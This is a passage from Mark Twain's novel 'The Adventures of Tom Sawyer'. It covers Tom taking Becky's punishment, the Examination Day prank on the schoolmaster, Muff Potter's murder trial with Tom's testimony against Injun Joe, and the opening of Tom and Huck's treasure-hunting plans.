with shame and vexation. + +"Tom Sawyer, you are just as mean as you can +be, to sneak up on a person and look at what they're +looking at." + +"How could I know you was looking at anything?" + +"You ought to be ashamed of yourself, Tom Sawyer; +you know you're going to tell on me, and oh, what shall +I do, what shall I do! I'll be whipped, and I never was +whipped in school." + +Then she stamped her little foot and said: + +"BE so mean if you want to! I know something +that's going to happen. You just wait and you'll see! +Hateful, hateful, hateful!" -- and she flung out of the +house with a new explosion of crying. + +Tom stood still, rather flustered by this onslaught. +Presently he said to himself: + +"What a curious kind of a fool a girl is! Never +been licked in school! Shucks! What's a licking! +That's just like a girl -- they're so thin-skinned and +chicken-hearted. Well, of course I ain't going to tell +old Dobbins on this little fool, because there's other +ways of getting even on her, that ain't so mean; but +what of it? Old Dobbins will ask who it was tore his +book. Nobody'll answer. Then he'll do just the way +he always does -- ask first one and then t'other, and +when he comes to the right girl he'll know it, without +any telling. Girls' faces always tell on them. They +ain't got any backbone. She'll get licked. Well, it's +a kind of a tight place for Becky Thatcher, because there +ain't any way out of it." Tom conned the thing a +moment longer, and then added: "All right, though; +she'd like to see me in just such a fix -- let her sweat it +out!" + +Tom joined the mob of skylarking scholars outside. +In a few moments the master arrived and school "took +in." Tom did not feel a strong interest in his studies. +Every time he stole a glance at the girls' side of the +room Becky's face troubled him. Considering all +things, he did not want to pity her, and yet it was all +he could do to help it. He could get up no exultation +that was really worthy the name. Presently the spell- +ing-book discovery was made, and Tom's mind was en- +tirely full of his own matters for a while after that. +Becky roused up from her lethargy of distress and +showed good interest in the proceedings. She did not +expect that Tom could get out of his trouble by denying +that he spilt the ink on the book himself; and she was +right. The denial only seemed to make the thing worse +for Tom. Becky supposed she would be glad of that, +and she tried to believe she was glad of it, but she found +she was not certain. When the worst came to the +worst, she had an impulse to get up and tell on Alfred +Temple, but she made an effort and forced herself to +keep still -- because, said she to herself, "he'll tell about +me tearing the picture sure. I wouldn't say a word, +not to save his life!" + +Tom took his whipping and went back to his seat +not at all broken-hearted, for he thought it was possible +that he had unknowingly upset the ink on the spelling- +book himself, in some skylarking bout -- he had denied +it for form's sake and because it was custom, and had +stuck to the denial from principle. + +A whole hour drifted by, the master sat nodding in +his throne, the air was drowsy with the hum of study. +By and by, Mr. Dobbins straightened himself up, yawn- +ed, then unlocked his desk, and reached for his book, +but seemed undecided whether to take it out or leave it. +Most of the pupils glanced up languidly, but there were +two among them that watched his movements with in- +tent eyes. Mr. Dobbins fingered his book absently for +a while, then took it out and settled himself in his chair +to read! Tom shot a glance at Becky. He had seen a +hunted and helpless rabbit look as she did, with a gun +levelled at its head. Instantly he forgot his quarrel +with her. Quick -- something must be done! done in a +flash, too! But the very imminence of the emergency +paralyzed his invention. Good! -- he had an inspira- +tion! He would run and snatch the book, spring +through the door and fly. But his resolution shook +for one little instant, and the chance was lost -- the +master opened the volume. If Tom only had the +wasted opportunity back again! Too late. There was +no help for Becky now, he said. The next moment the +master faced the school. Every eye sank under his gaze. +There was that in it which smote even the innocent +with fear. There was silence while one might count ten +-- the master was gathering his wrath. Then he spoke: +"Who tore this book?" + +There was not a sound. One could have heard a +pin drop. The stillness continued; the master searched +face after face for signs of guilt. + +"Benjamin Rogers, did you tear this book?" + +A denial. Another pause. + +"Joseph Harper, did you?" + +Another denial. Tom's uneasiness grew more and +more intense under the slow torture of these proceedings. +The master scanned the ranks of boys -- considered a +while, then turned to the girls: + +"Amy Lawrence?" + +A shake of the head. + +"Gracie Miller?" + +The same sign. + +"Susan Harper, did you do this?" + +Another negative. The next girl was Becky Thatcher. +Tom was trembling from head to foot with excitement +and a sense of the hopelessness of the situation. + +"Rebecca Thatcher" [Tom glanced at her face -- it +was white with terror] -- "did you tear -- no, look me +in the face" [her hands rose in appeal] -- "did you tear +this book?" + +A thought shot like lightning through Tom's brain. +He sprang to his feet and shouted -- "I done it!" + +The school stared in perplexity at this incredible +folly. Tom stood a moment, to gather his dismem- +bered faculties; and when he stepped forward to go +to his punishment the surprise, the gratitude, the +adoration that shone upon him out of poor Becky's +eyes seemed pay enough for a hundred floggings. +Inspired by the splendor of his own act, he took without +an outcry the most merciless flaying that even Mr. +Dobbins had ever administered; and also received with +indifference the added cruelty of a command to remain +two hours after school should be dismissed -- for he +knew who would wait for him outside till his captivity +was done, and not count the tedious time as loss, either. + +Tom went to bed that night planning vengeance +against Alfred Temple; for with shame and repentance +Becky had told him all, not forgetting her own treachery; +but even the longing for vengeance had to give way, +soon, to pleasanter musings, and he fell asleep at last +with Becky's latest words lingering dreamily in his ear -- + +"Tom, how COULD you be so noble!" + + +CHAPTER XXI + +VACATION was approaching. The school- +master, always severe, grew severer and +more exacting than ever, for he wanted +the school to make a good showing on +"Examination" day. His rod and his +ferule were seldom idle now -- at least +among the smaller pupils. Only the biggest boys, and +young ladies of eighteen and twenty, escaped lashing. +Mr. Dobbins' lashings were very vigorous ones, too; for +although he carried, under his wig, a perfectly bald +and shiny head, he had only reached middle age, and +there was no sign of feebleness in his muscle. As +the great day approached, all the tyranny that was +in him came to the surface; he seemed to take a vin- +dictive pleasure in punishing the least shortcomings. +The consequence was, that the smaller boys spent their +days in terror and suffering and their nights in plotting +revenge. They threw away no opportunity to do the +master a mischief. But he kept ahead all the time. +The retribution that followed every vengeful success +was so sweeping and majestic that the boys always +retired from the field badly worsted. At last they con- +spired together and hit upon a plan that promised a +dazzling victory. They swore in the sign-painter's boy, +told him the scheme, and asked his help. He had his +own reasons for being delighted, for the master boarded +in his father's family and had given the boy ample +cause to hate him. The master's wife would go on a visit +to the country in a few days, and there would be nothing +to interfere with the plan; the master always pre- +pared himself for great occasions by getting pretty well +fuddled, and the sign-painter's boy said that when the +dominie had reached the proper condition on Examina- +tion Evening he would "manage the thing" while he +napped in his chair; then he would have him awakened +at the right time and hurried away to school. + +In the fulness of time the interesting occasion ar- +rived. At eight in the evening the schoolhouse was +brilliantly lighted, and adorned with wreaths and fes- +toons of foliage and flowers. The master sat throned +in his great chair upon a raised platform, with his +blackboard behind him. He was looking tolerably +mellow. Three rows of benches on each side and six +rows in front of him were occupied by the dignitaries of +the town and by the parents of the pupils. To his left, +back of the rows of citizens, was a spacious temporary +platform upon which were seated the scholars who were +to take part in the exercises of the evening; rows of +small boys, washed and dressed to an intolerable state +of discomfort; rows of gawky big boys; snowbanks of +girls and young ladies clad in lawn and muslin and +conspicuously conscious of their bare arms, their grand- +mothers' ancient trinkets, their bits of pink and blue +ribbon and the flowers in their hair. All the rest of +the house was filled with non-participating scholars. + +The exercises began. A very little boy stood up and +sheepishly recited, "You'd scarce expect one of my +age to speak in public on the stage," etc. -- accompany- +ing himself with the painfully exact and spasmodic +gestures which a machine might have used -- supposing +the machine to be a trifle out of order. But he got +through safely, though cruelly scared, and got a fine +round of applause when he made his manufactured +bow and retired. + +A little shamefaced girl lisped, "Mary had a little +lamb," etc., performed a compassion-inspiring curtsy, +got her meed of applause, and sat down flushed and +happy. + +Tom Sawyer stepped forward with conceited con- +fidence and soared into the unquenchable and inde- +structible "Give me liberty or give me death" speech, +with fine fury and frantic gesticulation, and broke down +in the middle of it. A ghastly stage-fright seized him, +his legs quaked under him and he was like to choke. +True, he had the manifest sympathy of the house but +he had the house's silence, too, which was even worse +than its sympathy. The master frowned, and this com- +pleted the disaster. Tom struggled awhile and then +retired, utterly defeated. There was a weak attempt +at applause, but it died early. + +"The Boy Stood on the Burning Deck" followed; +also "The Assyrian Came Down," and other declama- +tory gems. Then there were reading exercises, and a +spelling fight. The meagre Latin class recited with +honor. The prime feature of the evening was in order, +now -- original "compositions" by the young ladies. +Each in her turn stepped forward to the edge of the +platform, cleared her throat, held up her manuscript +(tied with dainty ribbon), and proceeded to read, with +labored attention to "expression" and punctuation. +The themes were the same that had been illuminated +upon similar occasions by their mothers before them, +their grandmothers, and doubtless all their ancestors in +the female line clear back to the Crusades. "Friend- +ship" was one; "Memories of Other Days"; "Religion +in History"; "Dream Land"; "The Advantages of +Culture"; "Forms of Political Government Compared +and Contrasted"; "Melancholy"; "Filial Love"; +"Heart Longings," etc., etc. + +A prevalent feature in these compositions was a +nursed and petted melancholy; another was a wasteful +and opulent gush of "fine language"; another was a +tendency to lug in by the ears particularly prized words +and phrases until they were worn entirely out; and +a peculiarity that conspicuously marked and marred +them was the inveterate and intolerable sermon that +wagged its crippled tail at the end of each and every +one of them. No matter what the subject might be, a +brain-racking effort was made to squirm it into some +aspect or other that the moral and religious mind could +contemplate with edification. The glaring insincerity +of these sermons was not sufficient to compass the +banishment of the fashion from the schools, and it is +not sufficient to-day; it never will be sufficient while +the world stands, perhaps. There is no school in all +our land where the young ladies do not feel obliged to +close their compositions with a sermon; and you will +find that the sermon of the most frivolous and the least +religious girl in the school is always the longest and the +most relentlessly pious. But enough of this. Homely +truth is unpalatable. + +Let us return to the "Examination." The first +composition that was read was one entitled "Is this, +then, Life?" Perhaps the reader can endure an ex- +tract from it: + + "In the common walks of life, with what delightful + emotions does the youthful mind look forward to some + anticipated scene of festivity! Imagination is busy + sketching rose-tinted pictures of joy. In fancy, the + voluptuous votary of fashion sees herself amid the + festive throng, 'the observed of all observers.' Her + graceful form, arrayed in snowy robes, is whirling + through the mazes of the joyous dance; her eye is + brightest, her step is lightest in the gay assembly. + + "In such delicious fancies time quickly glides by, + and the welcome hour arrives for her entrance into + the Elysian world, of which she has had such bright + dreams. How fairy-like does everything appear to + her enchanted vision! Each new scene is more charming + than the last. But after a while she finds that + beneath this goodly exterior, all is vanity, the + flattery which once charmed her soul, now grates + harshly upon her ear; the ball-room has lost its + charms; and with wasted health and imbittered heart, + she turns away with the conviction that earthly + pleasures cannot satisfy the longings of the soul!" + +And so forth and so on. There was a buzz of grati- +fication from time to time during the reading, accom- +panied by whispered ejaculations of "How sweet!" +"How eloquent!" "So true!" etc., and after the thing +had closed with a peculiarly afflicting sermon the +applause was enthusiastic. + +Then arose a slim, melancholy girl, whose face had +the "interesting" paleness that comes of pills and indi- +gestion, and read a "poem." Two stanzas of it will do: + + "A MISSOURI MAIDEN'S FAREWELL TO ALABAMA + + "Alabama, good-bye! I love thee well! + But yet for a while do I leave thee now! + Sad, yes, sad thoughts of thee my heart doth swell, + And burning recollections throng my brow! + For I have wandered through thy flowery woods; + Have roamed and read near Tallapoosa's stream; + Have listened to Tallassee's warring floods, + And wooed on Coosa's side Aurora's beam. + + "Yet shame I not to bear an o'er-full heart, + Nor blush to turn behind my tearful eyes; + 'Tis from no stranger land I now must part, + 'Tis to no strangers left I yield these sighs. + Welcome and home were mine within this State, + Whose vales I leave -- whose spires fade fast from me + And cold must be mine eyes, and heart, and tete, + When, dear Alabama! they turn cold on thee!" + +There were very few there who knew what "tete" +meant, but the poem was very satisfactory, nevertheless. + +Next appeared a dark-complexioned, black-eyed, +black-haired young lady, who paused an impressive +moment, assumed a tragic expression, and began to +read in a measured, solemn tone: + + "A VISION + + "Dark and tempestuous was night. Around the + throne on high not a single star quivered; but + the deep intonations of the heavy thunder + constantly vibrated upon the ear; whilst the + terrific lightning revelled in angry mood + through the cloudy chambers of heaven, seeming + to scorn the power exerted over its terror by + the illustrious Franklin! Even the boisterous + winds unanimously came forth from their mystic + homes, and blustered about as if to enhance by + their aid the wildness of the scene. + + "At such a time,so dark,so dreary, for human + sympathy my very spirit sighed; but instead thereof, + + "'My dearest friend, my counsellor, my comforter + and guide -- My joy in grief, my second bliss + in joy,' came to my side. She moved like one of + those bright beings pictured in the sunny walks + of fancy's Eden by the romantic and young, a + queen of beauty unadorned save by her own + transcendent loveliness. So soft was her step, it + failed to make even a sound, and but for the + magical thrill imparted by her genial touch, as + other unobtrusive beauties, she would have glided + away un-perceived -- unsought. A strange sadness + rested upon her features, like icy tears upon + the robe of December, as she pointed to the + contending elements without, and bade me contemplate + the two beings presented." + +This nightmare occupied some ten pages of manu- +script and wound up with a sermon so destructive of +all hope to non-Presbyterians that it took the first prize. +This composition was considered to be the very finest +effort of the evening. The mayor of the village, in +delivering the prize to the author of it, made a warm +speech in which he said that it was by far the most +"eloquent" thing he had ever listened to, and that +Daniel Webster himself might well be proud of it. + +It may be remarked, in passing, that the number +of compositions in which the word "beauteous" was +over-fondled, and human experience referred to as +"life's page," was up to the usual average. + +Now the master, mellow almost to the verge of +geniality, put his chair aside, turned his back to the +audience, and began to draw a map of America on +the blackboard, to exercise the geography class upon. +But he made a sad business of it with his unsteady hand, +and a smothered titter rippled over the house. He +knew what the matter was, and set himself to right it. +He sponged out lines and remade them; but he only +distorted them more than ever, and the tittering was +more pronounced. He threw his entire attention upon +his work, now, as if determined not to be put down by +the mirth. He felt that all eyes were fastened upon +him; he imagined he was succeeding, and yet the titter- +ing continued; it even manifestly increased. And well +it might. There was a garret above, pierced with a +scuttle over his head; and down through this scuttle +came a cat, suspended around the haunches by a +string; she had a rag tied about her head and jaws +to keep her from mewing; as she slowly descended she +curved upward and clawed at the string, she swung +downward and clawed at the intangible air. The +tittering rose higher and higher -- the cat was within +six inches of the absorbed teacher's head -- down, down, +a little lower, and she grabbed his wig with her desperate +claws, clung to it, and was snatched up into the garret +in an instant with her trophy still in her possession! +And how the light did blaze abroad from the master's +bald pate -- for the sign-painter's boy had GILDED it! + +That broke up the meeting. The boys were avenged. +Vacation had come. + + NOTE:-- The pretended "compositions" quoted in + this chapter are taken without alteration from a + volume entitled "Prose and Poetry, by a Western + Lady" -- but they are exactly and precisely after + the schoolgirl pattern, and hence are much + happier than any mere imitations could be. + + +CHAPTER XXII + +TOM joined the new order of Cadets of +Temperance, being attracted by the showy +character of their "regalia." He promised +to abstain from smoking, chewing, and +profanity as long as he remained a mem- +ber. Now he found out a new thing -- +namely, that to promise not to do a thing is the surest +way in the world to make a body want to go and do that +very thing. Tom soon found himself tormented with a +desire to drink and swear; the desire grew to be so +intense that nothing but the hope of a chance to dis- +play himself in his red sash kept him from withdrawing +from the order. Fourth of July was coming; but he +soon gave that up -- gave it up before he had worn his +shackles over forty-eight hours -- and fixed his hopes +upon old Judge Frazer, justice of the peace, who was +apparently on his deathbed and would have a big +public funeral, since he was so high an official. Dur- +ing three days Tom was deeply concerned about the +Judge's condition and hungry for news of it. Some- +times his hopes ran high -- so high that he would venture +to get out his regalia and practise before the looking- +glass. But the Judge had a most discouraging way +of fluctuating. At last he was pronounced upon the +mend -- and then convalescent. Tom was disgusted; +and felt a sense of injury, too. He handed in his res- +ignation at once -- and that night the Judge suffered a +relapse and died. Tom resolved that he would never +trust a man like that again. + +The funeral was a fine thing. The Cadets paraded +in a style calculated to kill the late member with envy. +Tom was a free boy again, however -- there was some- +thing in that. He could drink and swear, now -- but +found to his surprise that he did not want to. The +simple fact that he could, took the desire away, and +the charm of it. + +Tom presently wondered to find that his coveted +vacation was beginning to hang a little heavily on his +hands. + +He attempted a diary -- but nothing happened dur- +ing three days, and so he abandoned it. + +The first of all the negro minstrel shows came to +town, and made a sensation. Tom and Joe Harper +got up a band of performers and were happy for two +days. + +Even the Glorious Fourth was in some sense a failure, +for it rained hard, there was no procession in con- +sequence, and the greatest man in the world (as Tom +supposed), Mr. Benton, an actual United States Senator, +proved an overwhelming disappointment -- for he was +not twenty-five feet high, nor even anywhere in the +neighborhood of it. + +A circus came. The boys played circus for three +days afterward in tents made of rag carpeting -- ad- +mission, three pins for boys, two for girls -- and then +circusing was abandoned. + +A phrenologist and a mesmerizer came -- and went +again and left the village duller and drearier than +ever. + +There were some boys-and-girls' parties, but they +were so few and so delightful that they only made the +aching voids between ache the harder. + +Becky Thatcher was gone to her Constantinople +home to stay with her parents during vacation -- so +there was no bright side to life anywhere. + +The dreadful secret of the murder was a chronic +misery. It was a very cancer for permanency and +pain. + +Then came the measles. + +During two long weeks Tom lay a prisoner, dead +to the world and its happenings. He was very ill, he +was interested in nothing. When he got upon his feet +at last and moved feebly down-town, a melancholy +change had come over everything and every creature. +There had been a "revival," and everybody had "got +religion," not only the adults, but even the boys and +girls. Tom went about, hoping against hope for the +sight of one blessed sinful face, but disappointment +crossed him everywhere. He found Joe Harper study- +ing a Testament, and turned sadly away from the de- +pressing spectacle. He sought Ben Rogers, and found +him visiting the poor with a basket of tracts. He hunted +up Jim Hollis, who called his attention to the precious +blessing of his late measles as a warning. Every boy +he encountered added another ton to his depression; +and when, in desperation, he flew for refuge at last to +the bosom of Huckleberry Finn and was received with +a Scriptural quotation, his heart broke and he crept +home and to bed realizing that he alone of all the town +was lost, forever and forever. + +And that night there came on a terrific storm, with +driving rain, awful claps of thunder and blinding sheets +of lightning. He covered his head with the bedclothes +and waited in a horror of suspense for his doom; for he +had not the shadow of a doubt that all this hubbub was +about him. He believed he had taxed the forbearance +of the powers above to the extremity of endurance and +that this was the result. It might have seemed to him +a waste of pomp and ammunition to kill a bug with a +battery of artillery, but there seemed nothing incon- +gruous about the getting up such an expensive thunder- +storm as this to knock the turf from under an insect like +himself. + +By and by the tempest spent itself and died without +accomplishing its object. The boy's first impulse was +to be grateful, and reform. His second was to wait +-- for there might not be any more storms. + +The next day the doctors were back; Tom had re- +lapsed. The three weeks he spent on his back this time +seemed an entire age. When he got abroad at last he +was hardly grateful that he had been spared, remem- +bering how lonely was his estate, how companionless +and forlorn he was. He drifted listlessly down the +street and found Jim Hollis acting as judge in a juvenile +court that was trying a cat for murder, in the presence +of her victim, a bird. He found Joe Harper and Huck +Finn up an alley eating a stolen melon. Poor lads! +they -- like Tom -- had suffered a relapse. + + +CHAPTER XXIII + +AT last the sleepy atmosphere was stirred -- +and vigorously: the murder trial came on +in the court. It became the absorbing +topic of village talk immediately. Tom +could not get away from it. Every ref- +erence to the murder sent a shudder to +his heart, for his troubled conscience and fears almost +persuaded him that these remarks were put forth in his +hearing as "feelers"; he did not see how he could be +suspected of knowing anything about the murder, but +still he could not be comfortable in the midst of this +gossip. It kept him in a cold shiver all the time. He +took Huck to a lonely place to have a talk with him. +It would be some relief to unseal his tongue for a little +while; to divide his burden of distress with another suf- +ferer. Moreover, he wanted to assure himself that +Huck had remained discreet. + +"Huck, have you ever told anybody about -- that?" + +"'Bout what?" + +"You know what." + +"Oh -- 'course I haven't." + +"Never a word?" + +"Never a solitary word, so help me. What makes +you ask?" + +"Well, I was afeard." + +"Why, Tom Sawyer, we wouldn't be alive two days +if that got found out. YOU know that." + +Tom felt more comfortable. After a pause: + +"Huck, they couldn't anybody get you to tell, could +they?" + +"Get me to tell? Why, if I wanted that half-breed +devil to drownd me they could get me to tell. They +ain't no different way." + +"Well, that's all right, then. I reckon we're safe +as long as we keep mum. But let's swear again, any- +way. It's more surer." + +"I'm agreed." + +So they swore again with dread solemnities. + +"What is the talk around, Huck? I've heard a +power of it." + +"Talk? Well, it's just Muff Potter, Muff Potter, +Muff Potter all the time. It keeps me in a sweat, con- +stant, so's I want to hide som'ers." + +"That's just the same way they go on round me. +I reckon he's a goner. Don't you feel sorry for him, +sometimes?" + +"Most always -- most always. He ain't no account; +but then he hain't ever done anything to hurt anybody. +Just fishes a little, to get money to get drunk on -- and +loafs around considerable; but lord, we all do that -- +leastways most of us -- preachers and such like. But +he's kind of good -- he give me half a fish, once, when +there warn't enough for two; and lots of times he's kind +of stood by me when I was out of luck." + +"Well, he's mended kites for me, Huck, and knitted +hooks on to my line. I wish we could get him out of +there." + +"My! we couldn't get him out, Tom. And besides, +'twouldn't do any good; they'd ketch him again." + +"Yes -- so they would. But I hate to hear 'em abuse +him so like the dickens when he never done -- that." + +"I do too, Tom. Lord, I hear 'em say he's the +bloodiest looking villain in this country, and they won- +der he wasn't ever hung before." + +"Yes, they talk like that, all the time. I've heard +'em say that if he was to get free they'd lynch him." + +"And they'd do it, too." + +The boys had a long talk, but it brought them little +comfort. As the twilight drew on, they found them- +selves hanging about the neighborhood of the little +isolated jail, perhaps with an undefined hope that +something would happen that might clear away their +difficulties. But nothing happened; there seemed to +be no angels or fairies interested in this luckless +captive. + +The boys did as they had often done before -- went +to the cell grating and gave Potter some tobacco and +matches. He was on the ground floor and there were +no guards. + +His gratitude for their gifts had always smote their +consciences before -- it cut deeper than ever, this time. +They felt cowardly and treacherous to the last degree +when Potter said: + +"You've been mighty good to me, boys -- better'n any- +body else in this town. And I don't forget it, I don't. +Often I says to myself, says I, 'I used to mend all the +boys' kites and things, and show 'em where the good +fishin' places was, and befriend 'em what I could, and +now they've all forgot old Muff when he's in trouble; +but Tom don't, and Huck don't -- THEY don't forget him, +says I, 'and I don't forget them.' Well, boys, I done +an awful thing -- drunk and crazy at the time -- that's +the only way I account for it -- and now I got to swing +for it, and it's right. Right, and BEST, too, I reckon -- +hope so, anyway. Well, we won't talk about that. I +don't want to make YOU feel bad; you've befriended me. +But what I want to say, is, don't YOU ever get drunk -- +then you won't ever get here. Stand a litter furder west +-- so -- that's it; it's a prime comfort to see faces that's +friendly when a body's in such a muck of trouble, and +there don't none come here but yourn. Good friendly +faces -- good friendly faces. Git up on one another's +backs and let me touch 'em. That's it. Shake hands +-- yourn'll come through the bars, but mine's too big. +Little hands, and weak -- but they've helped Muff +Potter a power, and they'd help him more if they +could." + +Tom went home miserable, and his dreams that +night were full of horrors. The next day and the day +after, he hung about the court-room, drawn by an al- +most irresistible impulse to go in, but forcing himself +to stay out. Huck was having the same experience. +They studiously avoided each other. Each wandered +away, from time to time, but the same dismal fascina- +tion always brought them back presently. Tom kept +his ears open when idlers sauntered out of the court- +room, but invariably heard distressing news -- the toils +were closing more and more relentlessly around poor +Potter. At the end of the second day the village talk +was to the effect that Injun Joe's evidence stood firm +and unshaken, and that there was not the slightest ques- +tion as to what the jury's verdict would be. + +Tom was out late, that night, and came to bed through +the window. He was in a tremendous state of excite- +ment. It was hours before he got to sleep. All the +village flocked to the court-house the next morning, for +this was to be the great day. Both sexes were about +equally represented in the packed audience. After a +long wait the jury filed in and took their places; shortly +afterward, Potter, pale and haggard, timid and hopeless, +was brought in, with chains upon him, and seated where +all the curious eyes could stare at him; no less con- +spicuous was Injun Joe, stolid as ever. There was an- +other pause, and then the judge arrived and the sheriff +proclaimed the opening of the court. The usual whis- +perings among the lawyers and gathering together of +papers followed. These details and accompanying +delays worked up an atmosphere of preparation that +was as impressive as it was fascinating. + +Now a witness was called who testified that he found +Muff Potter washing in the brook, at an early hour of +the morning that the murder was discovered, and that +he immediately sneaked away. After some further ques- +tioning, counsel for the prosecution said: + +"Take the witness." + +The prisoner raised his eyes for a moment, but +dropped them again when his own counsel said: + +"I have no questions to ask him." + +The next witness proved the finding of the knife +near the corpse. Counsel for the prosecution said: + +"Take the witness." + +"I have no questions to ask him," Potter's lawyer +replied. + +A third witness swore he had often seen the knife in +Potter's possession. + +"Take the witness." + +Counsel for Potter declined to question him. The +faces of the audience began to betray annoyance. +Did this attorney mean to throw away his client's life +without an effort? + +Several witnesses deposed concerning Potter's guilty +behavior when brought to the scene of the murder. +They were allowed to leave the stand without being +cross-questioned. + +Every detail of the damaging circumstances that +occurred in the graveyard upon that morning which +all present remembered so well was brought out by +credible witnesses, but none of them were cross- +examined by Potter's lawyer. The perplexity and +dissatisfaction of the house expressed itself in mur- +murs and provoked a reproof from the bench. Counsel +for the prosecution now said: + +"By the oaths of citizens whose simple word is +above suspicion, we have fastened this awful crime, +beyond all possibility of question, upon the unhappy +prisoner at the bar. We rest our case here." + +A groan escaped from poor Potter, and he put his +face in his hands and rocked his body softly to and +fro, while a painful silence reigned in the court-room. +Many men were moved, and many women's com- +passion testified itself in tears. Counsel for the de- +fence rose and said: + +"Your honor, in our remarks at the opening of this +trial, we foreshadowed our purpose to prove that our +client did this fearful deed while under the influence +of a blind and irresponsible delirium produced by drink. +We have changed our mind. We shall not offer that +plea." [Then to the clerk:] "Call Thomas Sawyer!" + +A puzzled amazement awoke in every face in the +house, not even excepting Potter's. Every eye fast- +ened itself with wondering interest upon Tom as he +rose and took his place upon the stand. The boy +looked wild enough, for he was badly scared. The +oath was administered. + +"Thomas Sawyer, where were you on the seventeenth +of June, about the hour of midnight?" + +Tom glanced at Injun Joe's iron face and his tongue +failed him. The audience listened breathless, but the +words refused to come. After a few moments, however, +the boy got a little of his strength back, and managed +to put enough of it into his voice to make part of the +house hear: + +"In the graveyard!" + +"A little bit louder, please. Don't be afraid. You +were --" + +"In the graveyard." + +A contemptuous smile flitted across Injun Joe's face. + +"Were you anywhere near Horse Williams' grave?" + +"Yes, sir." + +"Speak up -- just a trifle louder. How near were +you?" + +"Near as I am to you." + +"Were you hidden, or not?" + +"I was hid." + +"Where?" + +"Behind the elms that's on the edge of the grave." + +Injun Joe gave a barely perceptible start. + +"Any one with you?" + +"Yes, sir. I went there with --" + +"Wait -- wait a moment. Never mind mentioning +your companion's name. We will produce him at the +proper time. Did you carry anything there with you." + +Tom hesitated and looked confused. + +"Speak out, my boy -- don't be diffident. The truth +is always respectable. What did you take there?" + +"Only a -- a -- dead cat." + +There was a ripple of mirth, which the court checked. + +"We will produce the skeleton of that cat. Now, +my boy, tell us everything that occurred -- tell it in +your own way -- don't skip anything, and don't be +afraid." + +Tom began -- hesitatingly at first, but as he warmed +to his subject his words flowed more and more easily; +in a little while every sound ceased but his own voice; +every eye fixed itself upon him; with parted lips and +bated breath the audience hung upon his words, taking +no note of time, rapt in the ghastly fascinations of the +tale. The strain upon pent emotion reached its climax +when the boy said: + +"-- and as the doctor fetched the board around and +Muff Potter fell, Injun Joe jumped with the knife +and --" + +Crash! Quick as lightning the half-breed sprang +for a window, tore his way through all opposers, and +was gone! + + +CHAPTER XXIV + +TOM was a glittering hero once more -- the +pet of the old, the envy of the young. +His name even went into immortal print, +for the village paper magnified him. +There were some that believed he would +be President, yet, if he escaped hanging. + +As usual, the fickle, unreasoning world took Muff +Potter to its bosom and fondled him as lavishly as it +had abused him before. But that sort of conduct is +to the world's credit; therefore it is not well to find +fault with it. + +Tom's days were days of splendor and exultation +to him, but his nights were seasons of horror. Injun +Joe infested all his dreams, and always with doom +in his eye. Hardly any temptation could persuade +the boy to stir abroad after nightfall. Poor Huck +was in the same state of wretchedness and terror, for +Tom had told the whole story to the lawyer the night +before the great day of the trial, and Huck was sore +afraid that his share in the business might leak out, +yet, notwithstanding Injun Joe's flight had saved +him the suffering of testifying in court. The poor +fellow had got the attorney to promise secrecy, but +what of that? Since Tom's harassed conscience had +managed to drive him to the lawyer's house by night +and wring a dread tale from lips that had been sealed +with the dismalest and most formidable of oaths, +Huck's confidence in the human race was well-nigh +obliterated. + +Daily Muff Potter's gratitude made Tom glad he +had spoken; but nightly he wished he had sealed up +his tongue. + +Half the time Tom was afraid Injun Joe would +never be captured; the other half he was afraid he +would be. He felt sure he never could draw a safe +breath again until that man was dead and he had +seen the corpse. + +Rewards had been offered, the country had been +scoured, but no Injun Joe was found. One of those +omniscient and awe-inspiring marvels, a detective, +came up from St. Louis, moused around, shook his +head, looked wise, and made that sort of astounding +success which members of that craft usually achieve. +That is to say, he "found a clew." But you can't +hang a "clew" for murder, and so after that detec- +tive had got through and gone home, Tom felt just +as insecure as he was before. + +The slow days drifted on, and each left behind it +a slightly lightened weight of apprehension. + + +CHAPTER XXV + +THERE comes a time in every rightly- +constructed boy's life when he has a +raging desire to go somewhere and dig +for hidden treasure. This desire sud- +denly came upon Tom one day. He sal- +lied out to find Joe Harper, but failed +of success. Next he sought Ben Rogers; he had gone +fishing. Presently he stumbled upon Huck Finn the +Red-Handed. Huck would answer. Tom took him to +a private place and opened the matter to him confi- +dentially. Huck was willing. Huck was always willing +to take a hand in any enterprise that offered enter- +tainment and required no capital, for he had a troub- +lesome superabundance of that sort of time which is +not money. "Where'll we dig?" said Huck. + +"Oh, most anywhere." + +"Why, is it hid all around?" + +"No, indeed it ain't. It's hid in mighty particular +places, Huck -- sometimes on islands, sometimes in rot- +ten chests under the end of a limb of an old dead tree, +just where the shadow falls at midnight; but mostly +under the floor in ha'nted houses." + +"Who hides it?" + +"Why, robbers, of course -- who'd you reckon? Sun- +day-school sup'rintendents?" + +"I don't know. If 'twas mine I wouldn't hide it; +I'd spend it and have a good time." + +"So would I. But robbers don't do that way. They +always hide it and leave it there." + +"Don't they come after it any more?" + +"No, they think they will, but they generally forget +the marks, or else they die. Anyway, it lays there a +long time and gets rusty; and by and by somebody +finds an old yellow paper that tells how to find the +marks -- a paper that's got to be ciphered over about a +week because it's mostly signs and hy'roglyphics." + +"HyroQwhich?" + +"Hy'roglyphics -- pictures and things, you know, that +don't seem to mean anything." + +"Have you got one of them papers, Tom?" + +"No." + +"Well then, how you going to find the marks?" + +"I don't want any marks. They always bury it +under a ha'nted house or on an island, or under a +dead tree that's got one limb sticking out. Well, +we've tried Jackson's Island a little, and we can try +it again some time; and there's the old ha'nted house +up the Still-House branch, and there's lots of dead- +limb trees -- dead loads of 'em." + +"Is it under all of them?" + +"How you talk! No!" + +"Then how you going to know which one to go for?" + +"Go for all of 'em!" + +"Why, Tom, it'll take all summer." + +"Well, what of that? Suppose you find a brass +pot with a hundred dollars in it, all rusty and gray, or +rotten chest full of di'monds. How's that?" + +Huck's eyes glowed. + +"That's bully. Plenty bully enough for me. Just +you gimme the hundred dollars and I don't want no +di'monds." + +"All right. But I bet you I ain't going to throw +off on di'monds. Some of 'em's worth twenty dol- +lars apiece -- there ain't any, hardly, but's worth six +bits or a dollar." + +"No! Is that so?" + +"Cert'nly -- anybody'll tell you so. Hain't you ever +seen one, Huck?" + +"Not as I remember." + +"Oh, kings have slathers of them." + +"Well, I don' know no kings, Tom." + +"I reckon you don't. But if you was to go to +Europe you'd see a raft of 'em hopping around." + +"Do they hop?" + +"Hop? -- your granny! No!" + +"Well, what did you say they did, for?" + +"Shucks, I only meant you'd SEE 'em -- not hopping, +of course -- what do they want to hop for? -- but I mean +you'd just see 'em -- scattered around, you know, in a +kind of a general way. Like that old humpbacked +Richard." + +"Richard? What's his other name?" + +"He didn't have any other name. Kings don't +have any but a given name." + +"No?" + 